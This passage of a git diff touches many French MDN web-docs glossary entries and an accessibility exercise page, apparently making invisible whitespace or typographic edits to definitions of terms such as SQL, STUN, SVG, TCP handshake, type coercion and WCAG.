tableau. `<table><script>document.write("<tr><td>Hello World!</td></tr>");</script></table>` est mauvais. Par contre, ` <script>document.write("``<table>``<tr><td>Hello World!</td></tr>``</table>``");</script> ` est valide. - À FAIRE : document.write inclus dans d'autres éléments de formatage. diff --git a/files/fr/glossary/sql/index.md b/files/fr/glossary/sql/index.md index 32aab1be1a..862418c35d 100644 --- a/files/fr/glossary/sql/index.md +++ b/files/fr/glossary/sql/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/SQL original_slug: Glossaire/SQL --- -**SQL** (Structured Query Language) est un langage normalisé pour mettre à jour, récupérer et calculer des données dans les tables d'une base de données. +**SQL** (Structured Query Language) est un langage normalisé pour mettre à jour, récupérer et calculer des données dans les tables d'une base de données. ## Pour approfondir diff --git a/files/fr/glossary/stun/index.md b/files/fr/glossary/stun/index.md index 01fc56d356..93c6094c50 100644 --- a/files/fr/glossary/stun/index.md +++ b/files/fr/glossary/stun/index.md @@ -10,7 +10,7 @@ tags: translation_of: Glossary/STUN original_slug: Glossaire/STUN --- -**STUN** (Session Traversal Utilities for NAT) est un protocole auxiliaire servant à transmettre des données dans un environnement avec du {{glossary("NAT")}} (Network Address Translator). STUN retourne l'{{glossary("IP address","adresse IP")}}, le {{glossary("port")}} et l'état de la connectivité d'un ordinateur en réseau derrière un NAT. +**STUN** (Session Traversal Utilities for NAT) est un protocole auxiliaire servant à transmettre des données dans un environnement avec du {{glossary("NAT")}} (Network Address Translator). STUN retourne l'{{glossary("IP address","adresse IP")}}, le {{glossary("port")}} et l'état de la connectivité d'un ordinateur en réseau derrière un NAT. ## Pour approfondir diff --git a/files/fr/glossary/svg/index.md b/files/fr/glossary/svg/index.md index a2cd1d6fa8..82afafbd8a 100644 --- a/files/fr/glossary/svg/index.md +++ b/files/fr/glossary/svg/index.md @@ -14,7 +14,7 @@ _Scalable Vector Graphics_ (**SVG**) est un format d'image vectorielle 2D basé Le {{Glossary("W3C")}} a commencé à travailler sur SVG à la fin des années 90, mais SVG n'est devenu populaire qu'avec la sortie d'{{Glossary("Microsoft Internet Explorer", "Internet Explorer")}} 9, supportant le SVG. Tous les principaux {{Glossary("navigateur","navigateurs")}} le prennent maintenant en charge. -Basé sur une syntaxe {{Glossary("XML")}}, SVG peut être stylé avec {{Glossary("CSS")}} et être rendu interactif grâce à {{Glossary("JavaScript")}}. HTML5 permet à présent d'intégrer directement des {{Glossary("Balise","balises")}} SVG au sein d'un document {{Glossary("HTML")}}. +Basé sur une syntaxe {{Glossary("XML")}}, SVG peut être stylé avec {{Glossary("CSS")}} et être rendu interactif grâce à {{Glossary("JavaScript")}}. HTML5 permet à présent d'intégrer directement des {{Glossary("Balise","balises")}} SVG au sein d'un document {{Glossary("HTML")}}. SVG étant un [format d'image vectorielle](http://fr.wikipedia.org/wiki/Image_vectorielle), les images SVG peuvent être redimensionnées à l'infini, ce qui les rend inestimables pour la {{Glossary("Responsive web design","conception web adaptative")}}, car elles permettent de créer des éléments d'interface qui s'adaptent à toutes les tailles d'écran. SVG fournit également un ensemble d'outils, comme du clipping, des masques, des filtres et des animations. diff --git a/files/fr/glossary/svn/index.md b/files/fr/glossary/svn/index.md index ecb0907c28..0809991219 100644 --- a/files/fr/glossary/svn/index.md +++ b/files/fr/glossary/svn/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/SVN original_slug: Glossaire/SVN --- -**SVN** (pour Apache Subversion) est un logiciel libre de gestion du contrôle de système ({{Glossary("SCM")}}). Il permet aux développeurs de conserver un historique des modifications de texte et de code. Bien que SVN puisse également gérer les fichiers binaires, nous ne vous recommandons pas de l'utiliser pour de tels fichiers. +**SVN** (pour Apache Subversion) est un logiciel libre de gestion du contrôle de système ({{Glossary("SCM")}}). Il permet aux développeurs de conserver un historique des modifications de texte et de code. Bien que SVN puisse également gérer les fichiers binaires, nous ne vous recommandons pas de l'utiliser pour de tels fichiers. ## En apprendre plus diff --git a/files/fr/glossary/symbol/index.md b/files/fr/glossary/symbol/index.md index 2202be5034..7643448ff0 100644 --- a/files/fr/glossary/symbol/index.md +++ b/files/fr/glossary/symbol/index.md @@ -15,7 +15,7 @@ Le type de données "symbol" est un type de données primitif dont la qualité e Une valeur ayant le type de données "symbole" peut être appelée "valeur de symbole". Dans l'environnement d'exécution JavaScript, une valeur de symbole est créée en appelant la fonction Symbol (), qui produit de façon dynamique une valeur unique anonyme. La seule utilisation judicieuse est de stocker le symbole, puis d'utiliser la valeur stockée pour créer une propriété d'objet. L'exemple suivant stocke le symbole dans un "var". ```js -var myPrivateMethod = Symbol(); +var myPrivateMethod = Symbol(); this[myPrivateMethod] = function() {...}; ``` diff --git a/files/fr/glossary/syntax/index.md b/files/fr/glossary/syntax/index.md index 598f27bc9e..4ec0078016 100644 --- a/files/fr/glossary/syntax/index.md +++ b/files/fr/glossary/syntax/index.md @@ -10,7 +10,7 @@ original_slug: Glossaire/Syntaxe --- La syntaxe définit les séquences et combinaisons de {{Glossary("Character","caractères")}} requises pour créer du code correctement structuré. La syntaxe diffère d'un langage à l'autre (e.g., la syntaxe est différente en {{Glossary("HTML")}} et en {{Glossary("JavaScript")}}). La syntaxe s'applique à la fois aux langages de programmation (commandes données à l'ordinateur) et aux langages de balisage (informations sur la structure de documents). -La syntaxe ne gouverne que la structure et l'odre des instructions ; ces dernières doivent aussi avoir une _signification_, ce qui est le domaine de la {{Glossary("Semantics","sémantique")}}. +La syntaxe ne gouverne que la structure et l'odre des instructions ; ces dernières doivent aussi avoir une _signification_, ce qui est le domaine de la {{Glossary("Semantics","sémantique")}}. La syntaxe du code doit être correcte pour qu'il puisse être {{Glossary("Compile","compilé")}}, dans le cas contraire, une {{Glossary("Syntax error","erreur de syntaxe")}} se produit. Même de petites erreurs, comme une parenthèse manquante, peut faire échouer la compilation du code source. diff --git a/files/fr/glossary/tag/index.md b/files/fr/glossary/tag/index.md index fe0610b7ac..8497cb29dd 100644 --- a/files/fr/glossary/tag/index.md +++ b/files/fr/glossary/tag/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Tag original_slug: Glossaire/Balise --- -En {{Glossary("HTML")}} une balise est utilisée pour créer un {{Glossary("element")}}. Le **nom** d'un élément HTML est le **nom** utilisé dans des chevrons comme par exemple \<p> pour un paragraphe. Notez que le **nom** de la balise fermante est précédé par un caractère barre oblique, "\</p>", et que pour les éléments vides la balise de fin n'est pas nécessaire ni permise. Si les attributs ne sont pas mentionnés, les valeurs par défaut s'appliquent pour chaque cas. +En {{Glossary("HTML")}} une balise est utilisée pour créer un {{Glossary("element")}}. Le **nom** d'un élément HTML est le **nom** utilisé dans des chevrons comme par exemple \<p> pour un paragraphe. Notez que le **nom** de la balise fermante est précédé par un caractère barre oblique, "\</p>", et que pour les éléments vides la balise de fin n'est pas nécessaire ni permise. Si les attributs ne sont pas mentionnés, les valeurs par défaut s'appliquent pour chaque cas. ## **En savoir plus** diff --git a/files/fr/glossary/tcp_handshake/index.md b/files/fr/glossary/tcp_handshake/index.md index e60d4b36f2..4ea25001ee 100644 --- a/files/fr/glossary/tcp_handshake/index.md +++ b/files/fr/glossary/tcp_handshake/index.md @@ -6,7 +6,7 @@ tags: translation_of: Glossary/TCP_handshake original_slug: Glossaire/TCP_handshake --- -{{glossary('Transmission_Control_Protocol_(TCP)','TCP (Transmission Control Protocol)')}} est un protocole hôte à hôte de la couche transport permettant la communication en mode connexion entre deux ordinateurs sur un réseau IP. TCP utilise une **liaison à trois voies** (ou TCP-Handshake, trois messages ou **SYN-SYN-ACK**) pour établir une connexion TCP / IP sur un réseau IP : **SYN** pour synchronize et **ACK** pour acuittement. Les trois messages transmis par TCP pour négocier et démarrer une session TCP sont respectivement surnommés _SYN, SYN-ACK_ et *ACK:* **syn**chronize, **syn**chronize **ac**quittement, et **ac**quittement. Le mécanisme à trois messages est conçu pour que deux ordinateurs souhaitant échanger des informations puissent négocier les paramètres de la connexion avant de transmettre des données telles que des requêtes de navigateur HTTP. +{{glossary('Transmission_Control_Protocol_(TCP)','TCP (Transmission Control Protocol)')}} est un protocole hôte à hôte de la couche transport permettant la communication en mode connexion entre deux ordinateurs sur un réseau IP. TCP utilise une **liaison à trois voies** (ou TCP-Handshake, trois messages ou **SYN-SYN-ACK**) pour établir une connexion TCP / IP sur un réseau IP : **SYN** pour synchronize et **ACK** pour acuittement. Les trois messages transmis par TCP pour négocier et démarrer une session TCP sont respectivement surnommés _SYN, SYN-ACK_ et *ACK:* **syn**chronize, **syn**chronize **ac**quittement, et **ac**quittement. Le mécanisme à trois messages est conçu pour que deux ordinateurs souhaitant échanger des informations puissent négocier les paramètres de la connexion avant de transmettre des données telles que des requêtes de navigateur HTTP. L'hôte, généralement le navigateur, envoie un paquet TCP SYNchronize au serveur. Le serveur reçoit le SYN et renvoie un accusé de réception SYNchronize. L'hôte reçoit le SYN-ACK du serveur et envoie un acquittement. Le serveur reçoit ACK et la connexion de socket TCP est établie. diff --git a/files/fr/glossary/thread/index.md b/files/fr/glossary/thread/index.md index feda3e920d..8c39abdf3f 100644 --- a/files/fr/glossary/thread/index.md +++ b/files/fr/glossary/thread/index.md @@ -9,7 +9,7 @@ Le **[fil d'exécution principal](/fr/docs/Glossary/Main_thread)** est celui qui Cependant, le [JavaScript](/fr/docs/JavaScript) moderne offre plusieurs façons de créer des fils additionnels permettant de répartir indépendamment l'exécution tout en permettant à ces fils d'exécution de communiquer les uns avec les autres. Cela est faisable en utilisant des technologies telles que **[l'API web workers](/fr/docs/Web/API/Web_Workers_API)**, qui peut être utilisée pour lancer un sous-programme chargé de se lancer dans son propre fil, en parallèle du fil d'exécution principal. Cela préserve les performances d'ensemble du site ou de l'application, ainsi que plus généralement de l'ensemble du navigateur. Cela permet aussi aux internautes de profiter des avantages des processeurs multicœur modernes. -Il existe un type spécifique de <i lang="en">worker</i>, nommé **[service worker](/fr/docs/Web/API/Service_Worker_API)**, qui peut être créé – avec la permission de l'internaute – en arrière-plan afin d'exécuter des scripts alors même que la personne n'est pas connectée au site. C'est utilisé pour créer des sites capables de notifier l'internaute lorsque des choses se passent, même s'il n'est pas connecté activement au site. Cela permet par exemple d'indiquer à une personne le fait qu'elle a reçu un e-mail même si elle n'est pas connectée à son gestionnaire d'e-mails. +Il existe un type spécifique de <i lang="en">worker</i>, nommé **[service worker](/fr/docs/Web/API/Service_Worker_API)**, qui peut être créé – avec la permission de l'internaute – en arrière-plan afin d'exécuter des scripts alors même que la personne n'est pas connectée au site. C'est utilisé pour créer des sites capables de notifier l'internaute lorsque des choses se passent, même s'il n'est pas connecté activement au site. Cela permet par exemple d'indiquer à une personne le fait qu'elle a reçu un e-mail même si elle n'est pas connectée à son gestionnaire d'e-mails. Plus généralement, ces fils créés par le système d'exploitation sont extrêmement utiles. Ils aident à minimiser le temps de bascule entre les différents contextes de chaque application tournant sur l'ordinateur, et permettent une communication plus efficiente grâce à l'utilisation de l'architecture multiprocesseur des ordinateurs modernes. diff --git a/files/fr/glossary/time_to_interactive/index.md b/files/fr/glossary/time_to_interactive/index.md index 42fbd30048..ef4cfb5351 100644 --- a/files/fr/glossary/time_to_interactive/index.md +++ b/files/fr/glossary/time_to_interactive/index.md @@ -4,7 +4,7 @@ slug: Glossary/Time_to_interactive translation_of: Glossary/Time_to_interactive original_slug: Glossaire/Time_to_interactive --- -Le **Time to Interactive** (TTI) est une métrique non standardisée des performances web indiquant la « progression » du chargement. Elle correspond au moment où la dernière [tâche longue](/fr/docs/Web/API/Long_Tasks_API) s'est terminée et a été suivie de 5 secondes d'inactivité du réseau et du fil de chargement principal. +Le **Time to Interactive** (TTI) est une métrique non standardisée des performances web indiquant la « progression » du chargement. Elle correspond au moment où la dernière [tâche longue](/fr/docs/Web/API/Long_Tasks_API) s'est terminée et a été suivie de 5 secondes d'inactivité du réseau et du fil de chargement principal. Proposé par le <i lang="en">Web Incubator Community Group</i> en 2018, le **TTI** est destiné à fournir une métrique qui décrit quand une page ou une application contient un contenu utile et que le fil de chargement principal est inactif et libre de répondre aux interactions des internautes, y compris l'enregistrement des gestionnaires d'événements. @@ -20,7 +20,7 @@ TTI est calculé en exploitant les informations de l'API [<i lang="en">Long Task (en anglais) -- <i lang="en">Time to Interactive — focusing on human-centric metrics</i> +- <i lang="en">Time to Interactive — focusing on human-centric metrics</i> <i lang="en"> par Radimir Bitsov</i> diff --git a/files/fr/glossary/tld/index.md b/files/fr/glossary/tld/index.md index 27873437a1..4dbf1b2da3 100644 --- a/files/fr/glossary/tld/index.md +++ b/files/fr/glossary/tld/index.md @@ -13,7 +13,7 @@ Un domaine de premier niveau ou TLD (_top-level domain_) est le {{Glossary("doma L'{{Glossary("ICANN")}} (Internet Corporation for Assigned Names and Numbers) désigne des organisations pour gérer chaque TLD. En fonction des contraintes que peuvent imposer ces organisations d'administration, le TLD apporte souvent une indication sur le but, le propriétaire ou la nationalité d'un site web. Considérons par exemple l'adresse Internet : `https://developer.mozilla.org` -Ici, org est le TLD ; mozilla.org est le nom de domaine de deuxième niveau ; et developer est un nom de sous-domaine. Ensemble, ces éléments constituent un nom de domaine pleinement qualifié ; l'ajout de https\:// permet d'obtenir une URL complète. +Ici, org est le TLD ; mozilla.org est le nom de domaine de deuxième niveau ; et developer est un nom de sous-domaine. Ensemble, ces éléments constituent un nom de domaine pleinement qualifié ; l'ajout de https\:// permet d'obtenir une URL complète. De nos jours, {{Glossary("IANA")}} divise les domaines de premier niveau en plusieurs groupes : diff --git a/files/fr/glossary/tofu/index.md b/files/fr/glossary/tofu/index.md index 54e18960ae..493679e249 100644 --- a/files/fr/glossary/tofu/index.md +++ b/files/fr/glossary/tofu/index.md @@ -10,7 +10,7 @@ original_slug: Glossaire/TOFU --- **Trust On First Use** **(TOFU**) (_confiance à la première utilisation_) est un modèle de sécurité dans lequel un client doit créer une relation avec un serveur inconnu. Pour ce faire, les clients rechercheront des identifiants (par exemple des clés publiques) stockés localement. Si un identifiant est trouvé, le client peut établir la connexion. Si aucun identifiant n'est trouvé, le client peut demander à l'utilisateur de déterminer si le client doit approuver l'identifiant. -TOFU est utilisé dans le protocole SSH, dans [HTTP Public Key Pinning](/fr/docs/Web/HTTP/Public_Key_Pinning) ({{Glossary("HPKP")}}) où les navigateurs accepteront la première clé publique renvoyée par le serveur et dans {{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) où un navigateur obéira à la règle de redirection. +TOFU est utilisé dans le protocole SSH, dans [HTTP Public Key Pinning](/fr/docs/Web/HTTP/Public_Key_Pinning) ({{Glossary("HPKP")}}) où les navigateurs accepteront la première clé publique renvoyée par le serveur et dans {{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}}) où un navigateur obéira à la règle de redirection. ## En apprendre plus diff --git a/files/fr/glossary/tree_shaking/index.md b/files/fr/glossary/tree_shaking/index.md index 9f31e6f6cf..28f24485a6 100644 --- a/files/fr/glossary/tree_shaking/index.md +++ b/files/fr/glossary/tree_shaking/index.md @@ -11,15 +11,15 @@ original_slug: Glossaire/Tree_shaking Il repose sur les états [import](/fr/docs/Web/JavaScript/Reference/Instructions/import) et [export](/fr/docs/Web/JavaScript/Reference/Instructions/export) en ES6 pour détecter si les modules de code sont exportés et importés pour une utilisation entre des fichiers JavaScript. -Dans les applications JavaScript modernes, nous utilisons des gestionnaires de regroupements de modules (par exemple, [webpack](https://webpack.js.org/) ou [Rollup](https://github.com/rollup/rollup)) pour supprimer automatiquement le code mort lors du regroupement de plusieurs fichiers JavaScript dans des fichiers uniques. Ceci est important pour préparer un code prêt pour la production, par exemple avec des structures propres et une taille de fichier minimale. +Dans les applications JavaScript modernes, nous utilisons des gestionnaires de regroupements de modules (par exemple, [webpack](https://webpack.js.org/) ou [Rollup](https://github.com/rollup/rollup)) pour supprimer automatiquement le code mort lors du regroupement de plusieurs fichiers JavaScript dans des fichiers uniques. Ceci est important pour préparer un code prêt pour la production, par exemple avec des structures propres et une taille de fichier minimale. ## En apprendre plus ### Culture générale -- ["Benefits of dead code elimination during bundling"](http://exploringjs.com/es6/ch_modules.html#_benefit-dead-code-elimination-during-bundling) in Axel Rauschmayer's book: "Exploring JS: Modules" +- ["Benefits of dead code elimination during bundling"](http://exploringjs.com/es6/ch_modules.html#_benefit-dead-code-elimination-during-bundling) in Axel Rauschmayer's book: "Exploring JS: Modules" - {{Interwiki("wikipedia", "Réusinage_de_code#Suppression_du_code_mort","Suppression du code mort")}} sur Wikipédia ### Références techniques -- [Tree shaking implementation with webpack](https://webpack.js.org/guides/tree-shaking/) +- [Tree shaking implementation with webpack](https://webpack.js.org/guides/tree-shaking/) diff --git a/files/fr/glossary/trident/index.md b/files/fr/glossary/trident/index.md index 7adb312fb9..af7c52c963 100644 --- a/files/fr/glossary/trident/index.md +++ b/files/fr/glossary/trident/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/Trident original_slug: Glossaire/Trident --- -Trident (ou MSHTML) est un moteur de rendu qui fait fonctionner {{Glossary("Microsoft Internet Explorer","Internet Explorer")}}. Un "{{Glossary("Fork","embranchement")}}" de Trident appelé _EdgeHTML_ a remplacé Trident dans le successeur d'Internet Explorer, {{Glossary("Microsoft Edge","Edge")}}. +Trident (ou MSHTML) est un moteur de rendu qui fait fonctionner {{Glossary("Microsoft Internet Explorer","Internet Explorer")}}. Un "{{Glossary("Fork","embranchement")}}" de Trident appelé _EdgeHTML_ a remplacé Trident dans le successeur d'Internet Explorer, {{Glossary("Microsoft Edge","Edge")}}. ## En apprendre plus diff --git a/files/fr/glossary/turn/index.md b/files/fr/glossary/turn/index.md index 3a7bf0cbb7..c26ec88d65 100644 --- a/files/fr/glossary/turn/index.md +++ b/files/fr/glossary/turn/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/TURN original_slug: Glossaire/TURN --- -**TURN** (Traversal Using Relays around NAT) est un {{Glossary("protocol","protocole")}} permettant à un ordinateur de recevoir et d'envoyer des données malgré l'utilisation de {{glossary("NAT", "translation d'adresse réseau")}} (NAT) ou le fait d'être derrière un pare-feu. +**TURN** (Traversal Using Relays around NAT) est un {{Glossary("protocol","protocole")}} permettant à un ordinateur de recevoir et d'envoyer des données malgré l'utilisation de {{glossary("NAT", "translation d'adresse réseau")}} (NAT) ou le fait d'être derrière un pare-feu. ## Pour approfondir diff --git a/files/fr/glossary/type/index.md b/files/fr/glossary/type/index.md index 694b81002a..b16ac91e21 100644 --- a/files/fr/glossary/type/index.md +++ b/files/fr/glossary/type/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/Type original_slug: Glossaire/Type --- -Le **type** (ou _type de donnée_) est une caractéristique d'une {{glossary("Value","valeur")}} qui détermine le genre de données qu'elle peut stocker - par exemple, en JavaScript, un {{domxref("Boolean")}} ne contient que des valeurs true (_vrai_) / false (_faux_), alors qu'une {{domxref("String")}} _(chaîne de caractères)_ contient des chaînes de texte, un {{domxref("Number")}} contient toute sorte de nombres, etc. +Le **type** (ou _type de donnée_) est une caractéristique d'une {{glossary("Value","valeur")}} qui détermine le genre de données qu'elle peut stocker - par exemple, en JavaScript, un {{domxref("Boolean")}} ne contient que des valeurs true (_vrai_) / false (_faux_), alors qu'une {{domxref("String")}} _(chaîne de caractères)_ contient des chaînes de texte, un {{domxref("Number")}} contient toute sorte de nombres, etc. Le type de données d'une valeur affecte également les opérations valides sur cette valeur. Par exemple, un entier peut être multiplié par un entier, mais pas par une chaîne de caractères. diff --git a/files/fr/glossary/type_coercion/index.md b/files/fr/glossary/type_coercion/index.md index 69df7772ac..5112370474 100644 --- a/files/fr/glossary/type_coercion/index.md +++ b/files/fr/glossary/type_coercion/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Type_coercion original_slug: Glossaire/Type_coercion --- -La _type coercion_ (en français, coercition de type) est la conversion automatique ou implicite de valeurs d'un type de données à un autre (par exemple : de string à nombre). La *{{Glossary("type conversion")}}* est similaire à la *type coercion* puisque les deux convertissent des valeurs d'un type de données à un autre. La différence fondamentale entre elles est que la _type coercion_ est implicite alors que la _type conversion_ peut être implicite ou explicite. +La _type coercion_ (en français, coercition de type) est la conversion automatique ou implicite de valeurs d'un type de données à un autre (par exemple : de string à nombre). La *{{Glossary("type conversion")}}* est similaire à la *type coercion* puisque les deux convertissent des valeurs d'un type de données à un autre. La différence fondamentale entre elles est que la _type coercion_ est implicite alors que la _type conversion_ peut être implicite ou explicite. ## Exemples @@ -20,9 +20,9 @@ let somme = valeur1 + valeur2; console.log(somme); ``` -Dans l'exemple ci-dessus, Javascript a *coercé* le nombre `9` en une string, et a concaténé les deux valeurs, ce qui donne comme résultat la string `59`. JavaScript avait le choix entre une string et un nombre et a décidé d'utiliser une string. +Dans l'exemple ci-dessus, Javascript a *coercé* le nombre `9` en une string, et a concaténé les deux valeurs, ce qui donne comme résultat la string `59`. JavaScript avait le choix entre une string et un nombre et a décidé d'utiliser une string. -Le compilateur aurait pu coercer le `5` en un nombre et retourner la somme de `14`, mais ce n'est pas ce qu'il a fait. Pour pouvoir retourner `14`, il aurait fallu explicitement convertir le 5 en un nombre grâce à la méthode {{jsxref("Global_Objects/Number", "Number()")}}: +Le compilateur aurait pu coercer le `5` en un nombre et retourner la somme de `14`, mais ce n'est pas ce qu'il a fait. Pour pouvoir retourner `14`, il aurait fallu explicitement convertir le 5 en un nombre grâce à la méthode {{jsxref("Global_Objects/Number", "Number()")}}: ```js somme = Number(valeur1) + valeur2; diff --git a/files/fr/glossary/type_conversion/index.md b/files/fr/glossary/type_conversion/index.md index 9e27eda431..51a4ad3c7e 100644 --- a/files/fr/glossary/type_conversion/index.md +++ b/files/fr/glossary/type_conversion/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/Type_Conversion original_slug: Glossaire/Conversion_de_type --- -La conversion de type (ou transtypage) est le transfert d'une donnée d'un type de donnée vers un autre. Une _conversion implicite_ se produit quand le compilateur affecte les types de donnée automatiquement, mais le code source peut aussi demander à ce qu'une conversion ait lieu de manière _explicite_. Exemples simples : étant donnée l'instruction `5+2.0`, l'entier `5` est converti implicitement en nombre à virgule flottante, mais avec l'instruction `Number("0x11")`, la chaîne "0x11" est explicitement convertie en valeur numérique 17. +La conversion de type (ou transtypage) est le transfert d'une donnée d'un type de donnée vers un autre. Une _conversion implicite_ se produit quand le compilateur affecte les types de donnée automatiquement, mais le code source peut aussi demander à ce qu'une conversion ait lieu de manière _explicite_. Exemples simples : étant donnée l'instruction `5+2.0`, l'entier `5` est converti implicitement en nombre à virgule flottante, mais avec l'instruction `Number("0x11")`, la chaîne "0x11" est explicitement convertie en valeur numérique 17. ## Pour en savoir plus diff --git a/files/fr/glossary/udp/index.md b/files/fr/glossary/udp/index.md index f3c672e130..f4fb20bbf7 100644 --- a/files/fr/glossary/udp/index.md +++ b/files/fr/glossary/udp/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/UDP original_slug: Glossaire/UDP --- -**UDP** (User Datagram Protocol) est un {{glossary("protocol","protocole")}} de longue date utilisé avec {{glossary("IPv6","IP")}} pour envoyer des données lorsque la vitesse de transmission et l'efficacité importent davantage que la sécurité et la fiabilitié. +**UDP** (User Datagram Protocol) est un {{glossary("protocol","protocole")}} de longue date utilisé avec {{glossary("IPv6","IP")}} pour envoyer des données lorsque la vitesse de transmission et l'efficacité importent davantage que la sécurité et la fiabilitié. ## Pour en savoir plus diff --git a/files/fr/glossary/user_agent/index.md b/files/fr/glossary/user_agent/index.md index a718d1af25..01e5e2a64e 100644 --- a/files/fr/glossary/user_agent/index.md +++ b/files/fr/glossary/user_agent/index.md @@ -17,7 +17,7 @@ Les spambots, gestionnaires de téléchargements et certains navigateurs envoien Côté client, la chaîne de l'agent utilisateur est accessible en {{Glossary("JavaScript")}} avec `navigator.userAgent.` -Une chaîne classique d'agent utilisateur ressemble à ceci : `"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0"`. +Une chaîne classique d'agent utilisateur ressemble à ceci : `"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0"`. ## Pour approfondir diff --git a/files/fr/glossary/ux/index.md b/files/fr/glossary/ux/index.md index edaf7da786..fb8c5f8838 100644 --- a/files/fr/glossary/ux/index.md +++ b/files/fr/glossary/ux/index.md @@ -11,9 +11,9 @@ tags: translation_of: Glossary/UX original_slug: Glossaire/UX --- -**UX** est un acronyme signifiant User eXperience (expérience utilisateur). Il s'agit de l'étude de l'interaction entre des utilisateurs et un système. Son objectif est de rendre l'interaction avec un système plus simple du point de vue de l'utilisateur. +**UX** est un acronyme signifiant User eXperience (expérience utilisateur). Il s'agit de l'étude de l'interaction entre des utilisateurs et un système. Son objectif est de rendre l'interaction avec un système plus simple du point de vue de l'utilisateur. -Le système peut être n'importe quel type de produit ou d'application avec lequel un utilisateur final est censé intéragir. Les études UX entreprises sur une page web par exemple peuvent servir à démontrer s'il est simple pour les utilisateurs de comprendre la page, naviguer dans différentes zones, réaliser des tâches simples et ainsi détecter où ce genre de processus pourrait être moins problématique. +Le système peut être n'importe quel type de produit ou d'application avec lequel un utilisateur final est censé intéragir. Les études UX entreprises sur une page web par exemple peuvent servir à démontrer s'il est simple pour les utilisateurs de comprendre la page, naviguer dans différentes zones, réaliser des tâches simples et ainsi détecter où ce genre de processus pourrait être moins problématique. ## Approfondir diff --git a/files/fr/glossary/validator/index.md b/files/fr/glossary/validator/index.md index ea6c048be2..13dcf738ed 100644 --- a/files/fr/glossary/validator/index.md +++ b/files/fr/glossary/validator/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Validator original_slug: Glossaire/Validator --- -Un validateur est un programme qui vérifie les erreurs de syntaxe d'un code informatique. Ils peuvent être créés pour tous les formats et langages, mais dans notre contexte on parle d'outils vérifiant le {{Glossary("HTML")}}, {{Glossary("CSS")}}, et {{Glossary("XML")}}. +Un validateur est un programme qui vérifie les erreurs de syntaxe d'un code informatique. Ils peuvent être créés pour tous les formats et langages, mais dans notre contexte on parle d'outils vérifiant le {{Glossary("HTML")}}, {{Glossary("CSS")}}, et {{Glossary("XML")}}. ## En apprendre plus diff --git a/files/fr/glossary/wcag/index.md b/files/fr/glossary/wcag/index.md index c162e79bdf..5bb033cf56 100644 --- a/files/fr/glossary/wcag/index.md +++ b/files/fr/glossary/wcag/index.md @@ -15,9 +15,9 @@ WCAG 2.0, qui a replacé WCAG 1.0, a été publié en tant que recommandation W3 WCAG utilise trois niveaux d'accessibilité : -- Priorité 1 : Les développeurs web **doivent** satisfaire ces conditions, sinon il sera impossible à un ou plusieurs groupes d'accéder au contenu du web. Atteindre ce niveau est désigné par A. -- Priorité 2 : Les développeurs web **devraient** satisfaire ces conditions, sinon certains groupes éprouveront des difficultés à accéder au contenu du web. Atteindre ce niveau est désigné par AA ou double A. -- Priorité 3 : Les développeurs web **peuvent** satisfaire ces conditions dans le but de faciliter l'accès au web pour certains groupes. Atteindre ce niveau est désigné par AAA ou triple A. +- Priorité 1 : Les développeurs web **doivent** satisfaire ces conditions, sinon il sera impossible à un ou plusieurs groupes d'accéder au contenu du web. Atteindre ce niveau est désigné par A. +- Priorité 2 : Les développeurs web **devraient** satisfaire ces conditions, sinon certains groupes éprouveront des difficultés à accéder au contenu du web. Atteindre ce niveau est désigné par AA ou double A. +- Priorité 3 : Les développeurs web **peuvent** satisfaire ces conditions dans le but de faciliter l'accès au web pour certains groupes. Atteindre ce niveau est désigné par AAA ou triple A. ## Pour approfondir diff --git a/files/fr/learn/accessibility/accessibility_troubleshooting/index.md b/files/fr/learn/accessibility/accessibility_troubleshooting/index.md index 7d501db4fb..4dae77c200 100644 --- a/files/fr/learn/accessibility/accessibility_troubleshooting/index.md +++ b/files/fr/learn/accessibility/accessibility_troubleshooting/index.md @@ -22,7 +22,7 @@ Dans l’évaluation de ce module, nous vous présentons un site simple, qui pr <th scope="row">Conditions préalables:</th> <td> Connaissances informatiques de base, une compréhension de base de HTML, - CSS et JavaScript, une compréhension de la <a + CSS et JavaScript, une compréhension de la <a href="/fr/docs/Learn/Accessibility" >previous articles in the course</a >. @@ -40,7 +40,7 @@ Dans l’évaluation de ce module, nous vous présentons un site simple, qui pr ## Point de départ -Pour lancer cette évaluation, vous devez aller chercher le [ZIP containing the files that comprise the example](https://github.com/mdn/learning-area/blob/master/accessibility/assessment-start/assessment-files.zip?raw=true). Décompressez le contenu dans un nouveau répertoire quelque part sur votre ordinateur local +Pour lancer cette évaluation, vous devez aller chercher le [ZIP containing the files that comprise the example](https://github.com/mdn/learning-area/blob/master/accessibility/assessment-start/assessment-files.zip?raw=true). Décompressez le contenu dans un nouveau répertoire quelque part sur votre ordinateur local Le site d'évaluation terminé devrait ressembler à ceci: @@ -70,13 +70,13 @@ Les images sont actuellement inaccessibles aux utilisateurs de lecteur d'écran. ### Le lecteur audio -1. Le lecteur `<audio>` n'est pas accessible aux malentendants (pouvez-vous ajouter une sorte d'alternative accessible pour ces utilisateurs)? -2. Le lecteur `<audio>` n'est pas accessible aux utilisateurs de navigateurs plus anciens qui ne prennent pas en charge l'audio HTML5. Comment pouvez-vous leur permettre d'accéder encore à l'audio? +1. Le lecteur `<audio>` n'est pas accessible aux malentendants (pouvez-vous ajouter une sorte d'alternative accessible pour ces utilisateurs)? +2. Le lecteur `<audio>` n'est pas accessible aux utilisateurs de navigateurs plus anciens qui ne prennent pas en charge l'audio HTML5. Comment pouvez-vous leur permettre d'accéder encore à l'audio? ### Les formulaires -1. L'élément `<input>` dans le formulaire de recherche en haut pourrait être associé à une étiquette, mais nous ne souhaitons pas ajouter une étiquette de texte visible qui risquerait de gâcher la conception et qui n'est pas vraiment utile aux utilisateurs voyants. Comment ajouter une étiquette uniquement accessible aux lecteurs d’écran? 